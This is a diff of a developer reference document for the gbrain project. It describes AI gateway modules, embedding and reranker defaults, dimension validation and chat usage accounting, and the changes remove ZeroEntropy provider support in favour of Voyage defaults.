- `src/core/ai/chat-usage.ts` + `src/core/ops/usage.ts` — durable per-call chat usage accounting. `gateway.chat()` calls `recordChatUsage` at its SUCCESS boundary (production provider path AND test-transport path) with the answering model + token usage; the record lands in the `chat_usage_log` table (migration v140) via an injected sink (`setChatUsageSink` — no engine import here, so the gateway imports this leaf statically without deepening a cycle). Phase attribution is best-effort via AsyncLocalStorage (`withChatPhase`): the minion worker AND the cycle's inline drain (`inline-drain.ts`) both wrap handler execution in `job:<name>`, a cycle phase that meters its own spend wraps itself in `phase:<name>` (dream synthesize does), and direct callers record phase NULL. The innermost wrap wins, which is the point — a child drained INSIDE a wrapped phase must carry its own `job:` tag or the phase tag absorbs every child's spend and the ledger double-counts (one ledger per surface: `minion_jobs` stays the child-spend authority, the phase row is the orchestrator's own calls). Pricing resolves through `CANONICAL_PRICING` (`estimateChatCostUsd`, cache_read/cache_write at provider cache rates when the table carries them); unknown models record `cost_usd = NULL`, never a fake 0. Accounting is strictly fail-open + fire-and-forget: a sink error must never break a chat call. The `get_usage` op (admin scope, NOT read — `chat_usage_log` has no source dimension, so a source-restricted/federated token must not see brain-wide spend telemetry) returns per-model/per-phase aggregates only, plus an explicit `coverage` block stating what the ledger does NOT capture (subagent raw-SDK path, embeddings, pre-sink/pre-v140 calls, failed calls); `budget-tracker.ts` remains the pessimistic in-flight spend gate — this table is the after-the-fact ledger.
-- `src/core/ai/defaults.ts` — leaf module holding the embedding/reranker default constants (no gateway import, so schema + registry helpers can read them without loading provider SDKs). Split-default: `NEW_INSTALL_DEFAULT_EMBEDDING_MODEL` (`voyage:voyage-4`) + `NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS` (1024) feed every new-install surface — init auto-pick canonical tiebreak, the interactive picker default, the no-keys hint, keyless fresh-install schema sizing (passed as an explicit init param), and all recommendation copy (playbook, banners, doctor fix-hints, advisor). `DEFAULT_RERANKER_MODEL` (= `NEW_INSTALL_DEFAULT_RERANKER_MODEL` = `voyage:rerank-2.5`) is the ONE runtime/mode-bundle reranker default: the three `MODE_BUNDLES.*.reranker_model` values and the gateway's `rerank()` fallback import it, so a brain with no `search.reranker.model` row reranks with Voyage on `VOYAGE_API_KEY`. `LEGACY_DEFAULT_RERANKER_MODEL` (`zeroentropyai:zerank-2`) is not a default anywhere; it names the `RERANKER_SUNSETS` row (which STAYS while the recipe exists, so an explicit `zeroentropyai:*` config still short-circuits past the date instead of hanging 5s per query), the short-circuit tests and the migration copy. Init (`init.ts:writeNewInstallRerankerDefault`, shared by the PGLite + Postgres paths) writes NO reranker row when the default is ready (`reranker-readiness.ts` against the file-plane + process env — an explicit row equal to the bundle value would only earn doctor's `search_mode` reset nag), writes explicit `search.reranker.enabled false` for keyed installs WITHOUT a Voyage key (no key for the default; silence beats a `no_key` audit row per process), writes nothing for keyless installs (the documented keyless-recovery re-init must find virgin reranker config; keyless brains take the no-embedding search path, which never reaches `applyReranker`), treats a ZeroEntropy embedding pick as any other keyed non-Voyage install (evaluated against env > file > DB-plane keys via `loadConfigWithEngine`, so a `--force` re-init sees a config-table key), and never clobbers an existing explicit choice. `DEFAULT_EMBEDDING_MODEL` (`zeroentropyai:zembed-1`) + `DEFAULT_EMBEDDING_DIMENSIONS` (1280) serve ONLY as the configless runtime fallback for brains with no `embedding_model` in file config — their stored vectors live in ZE's 1280d space, so flipping the fallback under them would break retrieval before the provider dies; the fallback is slated for removal after the sunset, at which point unmigrated configless brains hard-error with the migrate command. `ZEROENTROPY_SUNSET_DATE` (`'2026-09-04'`) is the single source of truth for the upgrade banners, the `provider_sunset` doctor check, and the ZE recipe's `sunset` metadata.
+- `src/core/ai/defaults.ts` — leaf module for canonical embedding and reranker defaults, without a gateway import. Voyage `voyage:voyage-4` at 1024 dimensions is the new-install embedding default; `voyage:rerank-2.5` is the runtime/mode-bundle reranker default. `renderCanonicalMigrationCommands` supplies an explicit-target cost preview and an OpenAI keep-width alternative where supported. These constants do not establish the identity of vectors in an existing database and must never authorize automatic provider conversion. Init preserves explicit choices, writes no reranker row when the Voyage key is available, disables reranking for keyed installs without that key, and preserves keyless setup.
-- `src/core/ai/dims.ts` — per-provider `providerOptions` resolver for embed-time dimension passthrough; the single source of truth for "which provider needs which knob to produce `vector(N)`". Exports `dimsProviderOptions(implementation, modelId, dims)` (called by `embed()` in `gateway.ts`), `VOYAGE_OUTPUT_DIMENSION_MODELS` (private const — the 7 hosted Voyage models that accept `output_dimension`: `voyage-4-large`, `voyage-4`, `voyage-4-lite`, `voyage-3-large`, `voyage-3.5`, `voyage-3.5-lite`, `voyage-code-3` — nano deliberately excluded), `VOYAGE_VALID_OUTPUT_DIMS = [256, 512, 1024, 2048] as const`, `supportsVoyageOutputDimension(modelId)`, `isValidVoyageOutputDim(dims)`. Voyage path uses the SDK-supported `dimensions` field (`{ openaiCompatible: { dimensions: N } }`), NOT Voyage's `output_dimension` wire-key — the `voyageCompatFetch` shim in `gateway.ts:541` translates `dimensions → output_dimension` before the HTTP body is built (the AI SDK's openai-compatible adapter doesn't recognize the wire-key, so sending it from here would be silently dropped and Voyage would return its default 1024-dim). Runtime guard: when a Voyage flexible-dim model is configured with `dims` outside `VOYAGE_VALID_OUTPUT_DIMS`, throws `AIConfigError` with a paste-ready `gbrain config set embedding_dimensions <256|512|1024|2048>` hint at the embed boundary (most common trigger: `embedding_model: voyage:voyage-4-large` without `embedding_dimensions`, falling back to `DEFAULT_EMBEDDING_DIMENSIONS=1536`, an OpenAI default not a Voyage one). Every lookup in this module folds through the private `modelMatchKey` (trim + lowercase) so cased hub-form ids (`Qwen/Qwen3-Embedding-4B`) match the all-lowercase tables — the folded key is a MATCH key only, never sent to a provider (wire model ids are case-sensitive; error messages keep the original id so they stay paste-ready); the Qwen3-Embedding native-width table lives at module scope alongside the other dim tables. Consequence, deliberate: a cased Voyage/ZeroEntropy/Perplexity config matches and fails loudly at init when its `dims` is invalid, rather than skipping validation and silently producing wrong-width vectors.
+- `src/core/ai/dims.ts` — per-provider `providerOptions` resolver for embed-time dimension passthrough; the single source of truth for "which provider needs which knob to produce `vector(N)`". Exports `dimsProviderOptions(implementation, modelId, dims)` (called by `embed()` in `gateway.ts`), `VOYAGE_OUTPUT_DIMENSION_MODELS` (private const — the 7 hosted Voyage models that accept `output_dimension`: `voyage-4-large`, `voyage-4`, `voyage-4-lite`, `voyage-3-large`, `voyage-3.5`, `voyage-3.5-lite`, `voyage-code-3` — nano deliberately excluded), `VOYAGE_VALID_OUTPUT_DIMS = [256, 512, 1024, 2048] as const`, `supportsVoyageOutputDimension(modelId)`, `isValidVoyageOutputDim(dims)`. Voyage path uses the SDK-supported `dimensions` field (`{ openaiCompatible: { dimensions: N } }`), NOT Voyage's `output_dimension` wire-key — the `voyageCompatFetch` shim in `gateway.ts:541` translates `dimensions → output_dimension` before the HTTP body is built (the AI SDK's openai-compatible adapter doesn't recognize the wire-key, so sending it from here would be silently dropped and Voyage would return its default 1024-dim). Runtime guard: when a Voyage flexible-dim model is configured with `dims` outside `VOYAGE_VALID_OUTPUT_DIMS`, throws `AIConfigError` with a paste-ready `gbrain config set embedding_dimensions <256|512|1024|2048>` hint at the embed boundary (most common trigger: `embedding_model: voyage:voyage-4-large` without `embedding_dimensions`, retaining an incompatible 1536-dimensional setting from another provider). Every lookup in this module folds through the private `modelMatchKey` (trim + lowercase) so cased hub-form ids (`Qwen/Qwen3-Embedding-4B`) match the all-lowercase tables — the folded key is a MATCH key only, never sent to a provider (wire model ids are case-sensitive; error messages keep the original id so they stay paste-ready); the Qwen3-Embedding native-width table lives at module scope alongside the other dim tables. Consequence, deliberate: a cased Voyage/Perplexity config matches and fails loudly at init when its `dims` is invalid, rather than skipping validation and silently producing wrong-width vectors.
-- `src/core/ai/gateway.ts` — unified seam for every AI call. `embedQuery(text, opts?)` and `isAvailable(touchpoint, modelOverride?)` accept a model override so the resolved-column path embeds via the column's provider (Voyage / ZeroEntropy / OpenAI) instead of the global default; the hybrid path passes `{embeddingModel: resolved.provider, dimensions: resolved.dimensions}` and the gateway resolves the matching recipe via `instantiateEmbedding()`. `isAvailable('embedding', 'voyage:voyage-3-large')` checks the override's recipe (not the default) so hybrid skips vector search only when the active column's provider is actually down. `zeroEntropyCompatFetch` shim (sibling to `voyageCompatFetch`) handles ZE's non-OpenAI-compatible wire shape — rewrites the request URL `/embeddings → /models/embed`, injects `input_type` (default `'document'`; the threaded `'query'|'document'` crosses the SDK boundary via the module-level `__embedInputTypeStore` AsyncLocalStorage populated in `embedSubBatch()`, because the AI SDK's openai-compatible adapter strips `input_type` from `providerOptions` before building the wire body; `voyageCompatFetch` injects it opt-in the same way, and `openAICompatAsymmetricFetch` is the fallthrough shim for every other openai-compat recipe — llama-server/litellm/ollama — a strict pass-through when nothing was threaded) and explicit `encoding_format: 'float'`, and rewrites the response `{results: [{embedding}], usage: {total_bytes, total_tokens}}` → `{data: [{embedding, index}], usage: {prompt_tokens, total_tokens}}` so the SDK's openai-compatible Zod schema validates. Layer 1 (Content-Length) + Layer 2 (per-embedding) OOM caps via tagged `ZeroEntropyResponseTooLargeError` (kept separate from `VoyageResponseTooLargeError` because `test/voyage-response-cap.test.ts` does structural source-text greps pinning the Voyage name). Wired in `instantiateEmbedding()` via the `recipe.id === 'zeroentropyai'` branch. `gateway.rerank()` native HTTP path (no AI-SDK reranking abstraction): resolves the EFFECTIVE reranker as `input.model ?? getRerankerModel() ?? DEFAULT_RERANKER_MODEL` (imported from `ai/defaults.ts`; `voyage:rerank-2.5`), posts to the recipe's reranker path (`touchpoints.reranker.path`, default `/models/rerank`; Voyage declares `/rerank`) with bearer auth — the request's top-N key is recipe-pluggable via `touchpoints.reranker.top_param` (default `top_n`; Voyage `top_k`) — and returns `RerankResult[]` sorted by relevance. `warnSunsetOnce(recipe, touchpoint)`: once-per-(recipe,touchpoint) stderr DEPRECATED warning for recipes carrying `sunset` metadata, fired on actual use (embedding resolution + the rerank path) so brains still riding a dying provider hear about it on every process, not only at upgrade time; prints the sunset date plus the migrate / `search.reranker.model` fix, never throws, `_resetSunsetWarningsForTest()` is the test seam. Past a `RERANKER_SUNSETS` date (`rerankerSunset()` from `ai/defaults.ts`), `rerank()` short-circuits BEFORE the HTTP call: the check runs where the EFFECTIVE model is resolved (`input.model ?? getRerankerModel() ?? DEFAULT_RERANKER_MODEL` — the main case is an absent per-call model landing on the configured/legacy default) and throws `RerankError('sunset_short_circuit')` so `applyReranker` fails open at once instead of burning the 5s timeout per query; suppressed under a `base_urls` recipe override (self-hosted wire-compatible endpoints outlive the hosted shutdown, same rule as `warnSunsetOnce`); traceability is ONE `sunset_short_circuit` audit row per process per model (written by the gateway to the rerank-failures JSONL, feeding doctor's reranker_health) plus one stderr line with the replacement-model switch command — per-query rows would flood the audit file until the user migrates; `__setSunsetClockForTests` is the injected-clock seam for date-matrix tests, reset alongside `_resetSunsetWarningsForTest()`. `no_key` preflight: after the sunset check and `requireConfig()`, a recipe without a custom `resolveAuth` whose `auth_env.required` key is absent from `cfg.env` throws `RerankError('no_key')` BEFORE any HTTP — `noKeyOnce()` (mirror of `sunsetShortCircuitOnce` MINUS the stderr line; memo `_noKeyNoticed`, cleared by `_resetSunsetWarningsForTest()`) writes ONE `no_key` audit row per process per model and nothing is printed (shell-per-query agents would otherwise see a line per search). `auth` therefore means "key present but rejected" (HTTP 401/403). `RerankError.reason` classifier: `auth | no_key | rate_limit | network | timeout | payload_too_large | sunset_short_circuit | unknown`. 5s default timeout (search hot path). Pre-flight payload guard rejects bodies over `recipe.touchpoints.reranker.max_payload_bytes` with `reason: 'payload_too_large'`. `_rerankTransport` test seam mirrors `_embedTransport`. `embedQuery(text)` threads `inputType: 'query'` through `dimsProviderOptions()` (4-arg). `getRerankerModel()` returns only the EXPLICITLY configured model (callers need not pre-check availability — `rerank()` fails `no_key` itself; the sync readiness predicate for dashboards is `reranker-readiness.ts`) + `isAvailable('reranker')` branch; `configureGateway` + `reconfigureGatewayWithEngine` thread `reranker_model`; `applyResolveAuth` + `defaultResolveAuth` widen touchpoint param to include `'reranker'`. `embedMultimodalOpenAICompat()` routes recipes with `implementation: 'openai-compatible'` (LiteLLM, Anyscale, vLLM, Gemini multimodal via proxy) through the standard `/embeddings` endpoint with content arrays carrying `image_url` entries; the Voyage `/multimodalembeddings` path is unchanged (gateway selects by recipe `implementation` tag). Runtime dimension validation throws `AIConfigError` (with model id + observed + expected) before the vector reaches storage when the provider returns a width that doesn't match the recipe's `default_dims` or the brain's `embedding_dimensions`. Pinned by `test/openai-compat-multimodal.test.ts`. Module-scoped `_embedTransport` defaults to AI SDK `embedMany`, with `__setEmbedTransportForTests(fn)` test seam so tests drive `embed()` with a stubbed transport. `splitByTokenBudget` and `isTokenLimitError` exported `@internal` (pure functions reused by the test file). Module-level `_shrinkState: Map<recipeId, {factor, consecutiveSuccesses}>` halves the recipe's effective `safety_factor` on token-limit miss (floor 0.05) and heals back ×1.5 after `SHRINK_HEAL_AFTER=10` consecutive successes. `configureGateway()` walks every registered recipe at construction and emits a once-per-process stderr warning for any embedding touchpoint missing `max_batch_tokens` (excluding the canonical OpenAI fast-path). `resetGateway()` clears `_shrinkState`, the warned-set, and restores the real transport. `embedMultimodal()` reads `cfg.embedding_multimodal_model` first (falls back to `cfg.embedding_model`); after the recipe-level `supports_multimodal` fast-fail, validates the resolved model against `touchpoint.multimodal_models` when declared (closes the Voyage-text-only-into-multimodal-endpoint footgun before any HTTP call). `getMultimodalModel()` accessor mirrors `getEmbeddingModel` / `getChatModel`. Exported `VoyageResponseTooLargeError` tagged class: `voyageCompatFetch`'s two OOM-defense caps (Layer 1 Content-Length, Layer 2 per-embedding base64) throw it; the inbound response-rewriter's try/catch (which swallows parse failures so misshaped responses fall through to the SDK parser) checks `instanceof VoyageResponseTooLargeError` and rethrows so the cap is actually effective (an assertion in `test/voyage-response-cap.test.ts` pins the `instanceof ⇒ throw err` line). AI SDK v6 toolLoop compat (`gbrain skillopt` rollouts AND production background `subagent` jobs both route through `chat()` / `toolLoop`): in `chat()`, tool defs wrap the raw JSON Schema with the SDK's `jsonSchema()` helper (`inputSchema: jsonSchema(t.inputSchema)`) — v6's `asSchema()` treats a bare `{jsonSchema: ...}` object as a thunk and throws "schema is not a function"; exported pure `toModelMessages(messages: ChatMessage[]): unknown[]` converts gbrain's provider-neutral `ChatMessage[]` into v6 `ModelMessage[]` — tool results (pushed by `toolLoop` as `role:'user'` with bare-value tool-result blocks) become a dedicated `role:'tool'` message with structured `output:{type:'json'|'text'|'error-text', value}` parts; `null` output preserved as `{type:'json', value:null}` (not dropped); text/tool-call blocks pass through with v6 field names (`toolCallId`/`toolName`/`input`); applied at the `generateText` call (`messages: toModelMessages(opts.messages)`). The converter is load-bearing for the production subagent path, not just skillopt. Pinned by `test/gateway-model-messages.test.ts`. Companion: `src/core/skillopt/rollout.ts` builds tool schemas through the shared `paramDefToSchema` from `src/mcp/tool-defs.ts` (single source of truth, recursive on items/enum/default), never an inline converter. Provider-agnostic plumbing: `resolveNativeBaseUrl(provider, cfg)` normalizes a configured `ANTHROPIC_BASE_URL` / `OPENAI_BASE_URL` to carry the `/v1` suffix and is passed explicitly at every native `createAnthropic` / `createOpenAI` site (chat/expansion/embedding), so an env-injected bare host doesn't 404; returns `undefined` when unset so the SDK default is preserved (Google deferred until its native suffix is verified). `diagnoseEmbedding` fails closed with `user_provided_dims_unset` when a user-provided / zero-default recipe (litellm/llama-server) has no configured `embedding_dimensions`. `configureGateway` does not backfill `embedding_dimensions` (readers default it themselves), keeping the "no dims set" signal honest for that guard and the multimodal skip. `withBudgetTracker`: gateway-layer enforcement via `AsyncLocalStorage<BudgetTracker>`. `withBudgetTracker(tracker, fn)` installs the tracker on the module-internal store; every `gateway.chat / embed / rerank` call inside the scope auto-composes (reserve before, record in try/finally). Outside-scope calls are budget no-ops. Nested scopes restore the outer tracker on exit. `getCurrentBudgetTracker()` is the test seam. The chat path uses the pessimistic fallback on error paths; the embed path estimates input tokens from char count × recipe's `chars_per_token` because the AI SDK doesn't surface per-batch embed token usage; the rerank path estimates char count of query+docs. Pinned by 6 unit cases. `reconfigureGatewayWithEngine(engine)` (async, called from `cli.ts` after `engine.connect()`, before every command except `CLI_ONLY` no-DB commands) re-resolves expansion + chat defaults through `resolveModel()` so `models.tier.*` and `models.default` overrides apply to both. `DEFAULT_CHAT_MODEL` is `anthropic:claude-sonnet-4-6`. `ChatOpts.temperature` is threaded verbatim to the AI SDK `generateText` call (unset → the provider's default; the LongMemEval judge pins `0`, the official `evaluate_qa.py` setting). `ChatResult.responseModel` carries the model id the PROVIDER reported (`response.modelId`, e.g. a dated snapshot) when the SDK surfaced one and is absent otherwise, while `model` stays the requested `provider:modelId`; eval receipts pin the two side by side (`reader_model_snapshot`, `judge_model_snapshot`). `__setChatTransportForTests` mirrors `__setEmbedTransportForTests` so tests drive `chat()` with a stubbed transport. `toolLoop` per-turn permit hook: optional `acquireTurnPermit()` acquires a provider permit before EVERY round-trip and releases in finally; a lease-full throw propagates without consuming the turn (the subagent path wires it to the rate leases with provider-derived keys — Anthropic models share `anthropic:messages`, others get `<recipeId>:chat`). `ToolLoopStopReason` includes `'length'`: a zero-tool-call turn that hit the output cap propagates 'length' instead of folding into 'end', so truncation is never reported as a clean finish. Per-part provider state: `ChatBlock` variants carry optional `providerMetadata` captured from SDK parts in `chat()` and re-emitted as `providerOptions` on the rebuilt parts in `toModelMessages()` (attached only when present — metadata-free blocks stay byte-identical); this is the Gemini 3.x thoughtSignature echo. `isThinkingByDefaultModel(modelStr)` (exported) matches Claude 5-family ids behind any provider-prefix chain with a letters-only family segment (never `claude-3-5-*`); `isThinkingModel(modelStr)` (exported) is that regex OR the recipe's chat `thinking_by_default` capability (fail-closed: unknown/chat-less recipes are non-thinking) and drives `defaultMaxOutputTokens`'s 32k thinking headroom for chat()/toolLoop() callers that omit maxTokens (e.g. `gbrain skillopt` rollouts) and the subagent handler's `resolveMaxOutputTokens`; think/index.ts shares the regex and makes the same capability check. Pinned by `test/ai/gateway-thinking-headroom.test.ts`. `expand()` and `generateOcrText()` also record on the ambient tracker (they call generateObject/generateText directly and never pass through `chat()`'s `_recordBudget`): record-only, no reserve — a breach surfaces on the NEXT reserving call, matching `chat()`'s swallow of `BudgetExhausted` from `record()`. Successes record normalized SDK usage via `normalizeSdkUsage` (the ONE home for the v6/legacy usage shapes, used by chat's success path too; first FINITE field wins so a NaN v6 field can't shadow a real legacy value or poison the running total); failures record pessimistically under `gateway.expand.failed` / `gateway.ocr.failed` (a rejected attempt still billed provider tokens — one expand() can legitimately produce two records when the structured-output attempt fails and the text fallback runs). A recipe whose declared structured-output support is rejected at call time is remembered for the process lifetime (`_structuredOutputRejectedRecipes`) so the rejected attempt isn't re-paid on every call. OCR's input estimate is prompt text + a fixed per-image token constant, never base64 length (bytes are not tokens). `generateOcrText()` routes to `getImageOcrModel()` — `embedding_image_ocr_model` when set, else the expansion model — gated by `isAvailable('expansion', <ocr model>)` so a misconfigured OCR model (provider without an expansion touchpoint, or unkeyed) fails closed to `''` instead of silently OCRing with the expansion model; the accessor mirrors `getMultimodalModel()`, `configureGateway`/`buildGatewayConfig` thread the field, and an unconfigured gateway stays a silent `''` no-op. Pinned by `test/ai/ocr-model-routing.test.ts`. `__setGenerateObjectTransportForTests` mirrors the generateText seam. `ChatOpts.responseSchema` (`{ name, description?, schema }`) is honored ONLY when the resolved recipe is openai-compatible AND declares `supports_structured_outputs`: `chat()` attaches a tolerant `Output` spec (`jsonSchemaOutput` — carries the `{ type: 'json', schema, name }` responseFormat the provider turns into `response_format: json_schema`, and `parseCompleteOutput` hands the raw text back instead of throwing `NoObjectGeneratedError` the way `Output.object` does on unparseable text) to the generateText call, so `result.text`, stopReason mapping, budget recording and the caller's own parse + retry lane run unchanged; native / claude-cli lanes and undeclared openai-compatible recipes never see the field. A declared recipe whose backend REJECTS the schema at call time (`isStructuredOutputRejection` in `errors.ts`: a request-shaped 4xx naming `response_format` / `json_schema` / structured output — never a 5xx or an unrelated 400) gets ONE schemaless retry plus one warn line, and lands in `_structuredOutputRejectedRecipes` so later `chat()` and `expand()` calls skip the schema for the process lifetime instead of re-paying the rejection on every retry lane. + `test/core/budget/expand-records-budget.test.ts` + `test/ai/gateway-ocr-budget.test.ts` + `test/facts-extract-structured-output.test.ts`
+- `src/core/ai/gateway.ts` — unified seam for every AI call. `embedQuery(text, opts?)` and `isAvailable(touchpoint, modelOverride?)` accept a model override so the resolved-column path embeds via the column's provider (Voyage / OpenAI) instead of the global default; the hybrid path passes `{embeddingModel: resolved.provider, dimensions: resolved.dimensions}` and the gateway resolves the matching recipe via `instantiateEmbedding()`. `isAvailable('embedding', 'voyage:voyage-3-large')` checks the override's recipe (not the default) so hybrid skips vector search only when the active column's provider is actually down. `voyageCompatFetch` adapts Voyage embedding requests and responses; `openAICompatAsymmetricFetch` threads explicit query/document input types for other compatible recipes through the SDK boundary. `gateway.rerank()` native HTTP path (no AI-SDK reranking abstraction): resolves the EFFECTIVE reranker as `input.model ?? getRerankerModel() ?? DEFAULT_RERANKER_MODEL` (imported from `ai/defaults.ts`; `voyage:rerank-2.5`), posts to the recipe's reranker path (`touchpoints.reranker.path`, default `/rerank`; supported recipes declare their path explicitly) with bearer auth — the request's top-N key is recipe-pluggable via `touchpoints.reranker.top_param` (default `top_n`; Voyage `top_k`) — and returns `RerankResult[]` sorted by relevance. `no_key` preflight: after `requireConfig()`, a recipe without a custom `resolveAuth` whose `auth_env.required` key is absent from `cfg.env` throws `RerankError('no_key')` BEFORE any HTTP — `noKeyOnce()` writes ONE `no_key` audit row per process per model without a stderr line, avoiding per-query noise. `auth` therefore means "key present but rejected" (HTTP 401/403). `RerankError.reason` classifier: `auth | no_key | rate_limit | network | timeout | payload_too_large | unknown`. 5s default timeout (search hot path). Pre-flight payload guard rejects bodies over `recipe.touchpoints.reranker.max_payload_bytes` with `reason: 'payload_too_large'`. `_rerankTransport` test seam mirrors `_embedTransport`. `embedQuery(text)` threads `inputType: 'query'` through `dimsProviderOptions()` (4-arg). `getRerankerModel()` returns only the EXPLICITLY configured model (callers need not pre-check availability — `rerank()` fails `no_key` itself; the sync readiness predicate for dashboards is `reranker-readiness.ts`) + `isAvailable('reranker')` branch; `configureGateway` + `reconfigureGatewayWithEngine` thread `reranker_model`; `applyResolveAuth` + `defaultResolveAuth` widen touchpoint param to include `'reranker'`. `embedMultimodalOpenAICompat()` routes recipes with `implementation: 'openai-compatible'` (LiteLLM, Anyscale, vLLM, Gemini multimodal via proxy) through the standard `/embeddings` endpoint with content arrays carrying `image_url` entries; the Voyage `/multimodalembeddings` path is unchanged (gateway selects by recipe `implementation` tag). Runtime dimension validation throws `AIConfigError` (with model id + observed + expected) before the vector reaches storage when the provider returns a width that doesn't match the recipe's `default_dims` or the brain's `embedding_dimensions`. Pinned by `test/openai-compat-multimodal.test.ts`. Module-scoped `_embedTransport` defaults to AI SDK `embedMany`, with `__setEmbedTransportForTests(fn)` test seam so tests drive `embed()` with a stubbed transport. `splitByTokenBudget` and `isTokenLimitError` exported `@internal` (pure functions reused by the test file). Module-level `_shrinkState: Map<recipeId, {factor, consecutiveSuccesses}>` halves the recipe's effective `safety_factor` on token-limit miss (floor 0.05) and heals back ×1.5 after `SHRINK_HEAL_AFTER=10` consecutive successes. `configureGateway()` walks every registered recipe at construction and emits a once-per-process stderr warning for any embedding touchpoint missing `max_batch_tokens` (excluding the canonical OpenAI fast-path). `resetGateway()` clears `_shrinkState`, the warned-set, and restores the real transport. `embedMultimodal()` reads `cfg.embedding_multimodal_model` first (falls back to `cfg.embedding_model`); after the recipe-level `supports_multimodal` fast-fail, validates the resolved model against `touchpoint.multimodal_models` when declared (closes the Voyage-text-only-into-multimodal-endpoint footgun before any HTTP call). `getMultimodalModel()` accessor mirrors `getEmbeddingModel` / `getChatModel`. Exported `VoyageResponseTooLargeError` tagged class: `voyageCompatFetch`'s two OOM-defense caps (Layer 1 Content-Length, Layer 2 per-embedding base64) throw it; the inbound response-rewriter's try/catch (which swallows parse failures so misshaped responses fall through to the SDK parser) checks `instanceof VoyageResponseTooLargeError` and rethrows so the cap is actually effective (an assertion in `test/voyage-response-cap.test.ts` pins the `instanceof ⇒ throw err` line). AI SDK v6 toolLoop compat (`gbrain skillopt` rollouts AND production background `subagent` jobs both route through `chat()` / `toolLoop`): in `chat()`, tool defs wrap the raw JSON Schema with the SDK's `jsonSchema()` helper (`inputSchema: jsonSchema(t.inputSchema)`) — v6's `asSchema()` treats a bare `{jsonSchema: ...}` object as a thunk and throws "schema is not a function"; exported pure `toModelMessages(messages: ChatMessage[]): unknown[]` converts gbrain's provider-neutral `ChatMessage[]` into v6 `ModelMessage[]` — tool results (pushed by `toolLoop` as `role:'user'` with bare-value tool-result blocks) become a dedicated `role:'tool'` message with structured `output:{type:'json'|'text'|'error-text', value}` parts; `null` output preserved as `{type:'json', value:null}` (not dropped); text/tool-call blocks pass through with v6 field names (`toolCallId`/`toolName`/`input`); applied at the `generateText` call (`messages: toModelMessages(opts.messages)`). The converter is load-bearing for the production subagent path, not just skillopt. Pinned by `test/gateway-model-messages.test.ts`. Companion: `src/core/skillopt/rollout.ts` builds tool schemas through the shared `paramDefToSchema` from `src/mcp/tool-defs.ts` (single source of truth, recursive on items/enum/default), never an inline converter. Provider-agnostic plumbing: `resolveNativeBaseUrl(provider, cfg)` normalizes a configured `ANTHROPIC_BASE_URL` / `OPENAI_BASE_URL` to carry the `/v1` suffix and is passed explicitly at every native `createAnthropic` / `createOpenAI` site (chat/expansion/embedding), so an env-injected bare host doesn't 404; returns `undefined` when unset so the SDK default is preserved (Google deferred until its native suffix is verified). `diagnoseEmbedding` fails closed with `user_provided_dims_unset` when a user-provided / zero-default recipe (litellm/llama-server) has no configured `embedding_dimensions`. `configureGateway` does not backfill `embedding_dimensions` (readers default it themselves), keeping the "no dims set" signal honest for that guard and the multimodal skip. `withBudgetTracker`: gateway-layer enforcement via `AsyncLocalStorage<BudgetTracker>`. `withBudgetTracker(tracker, fn)` installs the tracker on the module-internal store; every `gateway.chat / embed / rerank` call inside the scope auto-composes (reserve before, record in try/finally). Outside-scope calls are budget no-ops. Nested scopes restore the outer tracker on exit. `getCurrentBudgetTracker()` is the test seam. The chat path uses the pessimistic fallback on error paths; the embed path estimates input tokens from char count × recipe's `chars_per_token` because the AI SDK doesn't surface per-batch embed token usage; the rerank path estimates char count of query+docs. Pinned by 6 unit cases. `reconfigureGatewayWithEngine(engine)` (async, called from `cli.ts` after `engine.connect()`, before every command except `CLI_ONLY` no-DB commands) re-resolves expansion + chat defaults through `resolveModel()` so `models.tier.*` and `models.default` overrides apply to both. `DEFAULT_CHAT_MODEL` is `anthropic:claude-sonnet-4-6`. `ChatOpts.temperature` is threaded verbatim to the AI SDK `generateText` call (unset → the provider's default; the LongMemEval judge pins `0`, the official `evaluate_qa.py` setting). `ChatResult.responseModel` carries the model id the PROVIDER reported (`response.modelId`, e.g. a dated snapshot) when the SDK surfaced one and is absent otherwise, while `model` stays the requested `provider:modelId`; eval receipts pin the two side by side (`reader_model_snapshot`, `judge_model_snapshot`). `__setChatTransportForTests` mirrors `__setEmbedTransportForTests` so tests drive `chat()` with a stubbed transport. `toolLoop` per-turn permit hook: optional `acquireTurnPermit()` acquires a provider permit before EVERY round-trip and releases in finally; a lease-full throw propagates without consuming the turn (the subagent path wires it to the rate leases with provider-derived keys — Anthropic models share `anthropic:messages`, others get `<recipeId>:chat`). `ToolLoopStopReason` includes `'length'`: a zero-tool-call turn that hit the output cap propagates 'length' instead of folding into 'end', so truncation is never reported as a clean finish. Per-part provider state: `ChatBlock` variants carry optional `providerMetadata` captured from SDK parts in `chat()` and re-emitted as `providerOptions` on the rebuilt parts in `toModelMessages()` (attached only when present — metadata-free blocks stay byte-identical); this is the Gemini 3.x thoughtSignature echo. `isThinkingByDefaultModel(modelStr)` (exported) matches Claude 5-family ids behind any provider-prefix chain with a letters-only family segment (never `claude-3-5-*`); `isThinkingModel(modelStr)` (exported) is that regex OR the recipe's chat `thinking_by_default` capability (fail-closed: unknown/chat-less recipes are non-thinking) and drives `defaultMaxOutputTokens`'s 32k thinking headroom for chat()/toolLoop() callers that omit maxTokens (e.g. `gbrain skillopt` rollouts) and the subagent handler's `resolveMaxOutputTokens`; think/index.ts shares the regex and makes the same capability check. Pinned by `test/ai/gateway-thinking-headroom.test.ts`. `expand()` and `generateOcrText()` also record on the ambient tracker (they call generateObject/generateText directly and never pass through `chat()`'s `_recordBudget`): record-only, no reserve — a breach surfaces on the NEXT reserving call, matching `chat()`'s swallow of `BudgetExhausted` from `record()`. Successes record normalized SDK usage via `normalizeSdkUsage` (the ONE home for the v6/legacy usage shapes, used by chat's success path too; first FINITE field wins so a NaN v6 field can't shadow a real legacy value or poison the running total); failures record pessimistically under `gateway.expand.failed` / `gateway.ocr.failed` (a rejected attempt still billed provider tokens — one expand() can legitimately produce two records when the structured-output attempt fails and the text fallback runs). A recipe whose declared structured-output support is rejected at call time is remembered for the process lifetime (`_structuredOutputRejectedRecipes`) so the rejected attempt isn't re-paid on every call. OCR's input estimate is prompt text + a fixed per-image token constant, never base64 length (bytes are not tokens). `generateOcrText()` routes to `getImageOcrModel()` — `embedding_image_ocr_model` when set, else the expansion model — gated by `isAvailable('expansion', <ocr model>)` so a misconfigured OCR model (provider without an expansion touchpoint, or unkeyed) fails closed to `''` instead of silently OCRing with the expansion model; the accessor mirrors `getMultimodalModel()`, `configureGateway`/`buildGatewayConfig` thread the field, and an unconfigured gateway stays a silent `''` no-op. Pinned by `test/ai/ocr-model-routing.test.ts`. `__setGenerateObjectTransportForTests` mirrors the generateText seam. 